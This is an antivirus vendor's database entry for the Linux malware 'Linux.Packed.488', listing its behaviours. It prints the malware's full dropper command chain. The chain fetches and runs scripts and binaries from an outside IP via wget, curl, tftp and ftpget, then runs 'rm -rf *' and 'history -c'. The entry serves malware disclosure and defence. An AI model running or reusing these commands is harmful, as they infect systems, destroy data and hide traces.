Linux.Packed.488

Linux.Packed.488

Added to the Dr.Web virus database: 2019-06-30

Virus description added: 2019-06-29

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.80.39.242/gang1.sh; curl -O http://45.80.39.242/gang1.sh; chmod 777 gang1.sh; sh gang1.sh; tftp 45.80.39.242 -c get efad.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 45.80.39.242; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.80.39.242 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c
wget http://45.80.39.242/gang1.sh
chmod 777 gang1.sh
sh gang1.sh
wget http://webserver.c/Onezz.mips
chmod +x Onezz.mips
./Onezz.mips
rm -rf Onezz.mips
wget http://webserver.c/Onezz.mpsl
chmod +x Onezz.mpsl
./Onezz.mpsl
rm -rf Onezz.mpsl

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

HTTP GET requests:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers: